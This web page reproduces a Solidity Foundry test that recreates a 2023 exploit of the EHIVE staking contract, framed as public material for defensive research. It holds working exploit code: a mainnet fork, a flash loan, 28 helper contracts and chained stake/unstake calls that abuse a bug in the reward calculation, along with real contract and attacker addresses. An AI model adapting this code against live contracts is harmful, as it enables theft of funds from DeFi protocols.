Skip to content
THREATWIRE

Public reproduction file

src/test/2023-08/EHIVE_exp.sol

Public reproduction file for dataset entry EHIVE.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-08/EHIVE_exp.sol141 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "./../interface.sol";
6
7// @KeyInfo - Total Lost : ~$15K
8// Attacker : https://etherscan.io/address/0x0195448a9c4adeaf27002c6051c949f3c3234bb5
9// Attacker Contract : https://etherscan.io/address/0x98c2e1e85f8bf737d9c1450dd26d4a4bf880b892
10// Vulnerable Contract : https://etherscan.io/address/0x4ae2cd1f5b8806a973953b76f9ce6d5fab9cdcfd
11// Attack Tx : https://etherscan.io/tx/0xad818ec910def08c70ac519ab0fffa084b4178014a91cd8aa2f882d972a511c1
12// Preparation Tx: https://etherscan.io/tx/0xd9156f507c701a09d3312e1987383c7c882df50b3127e1adfd74d74052642114
14// @Analysis
15// https://twitter.com/bulu4477/status/1693636187485872583
16// In the EHIVE contract, the function stake() incorrectly updates the 'staked' value before calculating 'earned'
17// As a result, an attacker only needs to initially stake 0 value of EHIVE, wait for a period of time,
18// and then stake a certain amount of EHIVE to earn a large amount of EHIVE. Subsequently, they can unstake and sell it for profit
19// @Vulnerability code
20// //Check user is registered as staker
21// if (isStaking(msg.sender, validator)) {
22// _stakers[msg.sender][validator].staked += stakeAmount;
23// _stakers[msg.sender][validator].earned += _userEarned(msg.sender, validator);
24// _stakers[msg.sender][validator].start = block.timestamp;
25// } else {
26// _stakers[msg.sender][validator] = Staker(msg.sender, block.timestamp, stakeAmount, 0);
27// }
29interface IEHIVE is IERC20 {
30 function stake(uint256 stakeAmount, uint256 validator) external;
32 function unstake(
33 uint256 validator
34 ) external;
37interface IUnstake {
38 function unstake(
39 address _user
40 ) external;
42 function stake(
43 uint256 amount
44 ) external;
47contract EHIVETest is Test {
48 IERC20 private constant WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
49 IEHIVE private constant EHIVE = IEHIVE(0x4Ae2Cd1F5B8806a973953B76f9Ce6d5FAB9cdcfd);
50 IAaveFlashloan private constant AaveFlashloan = IAaveFlashloan(0x87870Bca3F3fD6335C3F4ce8392D69350B4fA4E2);
51 IUniswapV2Pair private constant EHIVE_WETH = IUniswapV2Pair(0xAE851769593AC6048D36BC123700649827659A82);
52 address[28] public contractList;
54 function setUp() public {
55 // Start from the block when exploit contracts were deployed
56 vm.createSelectFork("mainnet", 17_690_497);
57 vm.label(address(WETH), "WETH");
58 vm.label(address(EHIVE), "EHIVE");
59 vm.label(address(AaveFlashloan), "AaveFlashloan");
60 vm.label(address(EHIVE_WETH), "EHIVE_WETH");
61 }
63 function testExploit() public {
64 // 1. Deploy exploit contract
65 // 2. Call EHIVE stake function with amount 0
66 for (uint256 i; i < contractList.length; ++i) {
67 address deployedContract = address(new UnstakeContract());
68 IUnstake(deployedContract).stake(0);
69 contractList[i] = deployedContract;
70 }
71 // Jump to the time when attack was happen
72 vm.warp(block.timestamp + 38 days);
73 emit log_named_decimal_uint(
74 "Attacker WETH balance before attack", WETH.balanceOf(address(this)), WETH.decimals()
75 );
76 WETH.approve(address(AaveFlashloan), type(uint256).max);
77 AaveFlashloan.flashLoanSimple(address(this), address(WETH), 18e18, new bytes(1), 0);
78 emit log_named_decimal_uint(
79 "Attacker WETH balance after attack", WETH.balanceOf(address(this)), WETH.decimals()
80 );
81 }
83 function executeOperation(
84 address asset,
85 uint256 amount,
86 uint256 premium,
87 address initiator,
88 bytes calldata params
89 ) external returns (bool) {
90 WETHToEHIVE();
91 EHIVE.transfer(contractList[0], EHIVE.balanceOf(address(this)));
92 // Start exploit
93 for (uint256 i; i < 27; ++i) {
94 IUnstake(contractList[i]).unstake(contractList[i + 1]);
95 }
96 IUnstake(contractList[27]).unstake(address(this));
97 // End exploit
98 EHIVEToWETH();
99 return true;
100 }
102 function WETHToEHIVE() internal {
103 (uint112 reserveEHIVE, uint112 reserveWETH,) = EHIVE_WETH.getReserves();
104 uint256 amount0Out = calcAmount(reserveEHIVE, reserveWETH, WETH.balanceOf(address(this)));
106 WETH.transfer(address(EHIVE_WETH), WETH.balanceOf(address(this)));
107 EHIVE_WETH.swap(amount0Out, 0, address(this), bytes(""));
108 }
110 function EHIVEToWETH() internal {
111 (uint112 reserveEHIVE, uint112 reserveWETH,) = EHIVE_WETH.getReserves();
112 EHIVE.transfer(address(EHIVE_WETH), EHIVE.balanceOf(address(this)));
113 uint256 amount1Out = calcAmount(reserveWETH, reserveEHIVE, EHIVE.balanceOf(address(EHIVE_WETH)) - reserveEHIVE);
114 EHIVE_WETH.swap(0, amount1Out - 100, address(this), bytes(""));
115 }
117 function calcAmount(uint256 reserve1, uint256 reserve2, uint256 balance) internal returns (uint256) {
118 uint256 a = (balance * 997);
119 uint256 b = a * reserve1;
120 uint256 c = (reserve2 * 1000) + a;
121 return b / c;
122 }
125contract UnstakeContract is Test {
126 IEHIVE private constant EHIVE = IEHIVE(0x4Ae2Cd1F5B8806a973953B76f9Ce6d5FAB9cdcfd);
128 function stake(
129 uint256 amount
130 ) external {
131 EHIVE.stake(amount, 0);
132 }
134 function unstake(
135 address _user
136 ) external {
137 EHIVE.stake(EHIVE.balanceOf(address(this)), 0);
138 EHIVE.unstake(0);
139 EHIVE.transfer(_user, EHIVE.balanceOf(address(this)));
140 }

Analysis

Dataset entry

Public Foundry test for “EHIVE” (2023-08-21). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

12 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0195448a9c4adeaf27002c6051c949f3c3234bb5

  • Attacker

    0x98c2e1e85f8bf737d9c1450dd26d4a4bf880b892

  • Vulnerable Contract

    0x4ae2cd1f5b8806a973953b76f9ce6d5fab9cdcfd

  • Attack Tx

    0xad818ec910def08c70ac519ab0fffa084b4178014a91cd8aa2f882d972a511c1

File record

Name
EHIVE
Path
src/test/2023-08/EHIVE_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
532563a54817e0c6ca560482e79a0837f664fe07
Language
Solidity
Size
142 lines
Date
2023-08-21
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2023-08/EHIVE_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 532563a54817e0c6ca560482e79a0837f664fe07, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.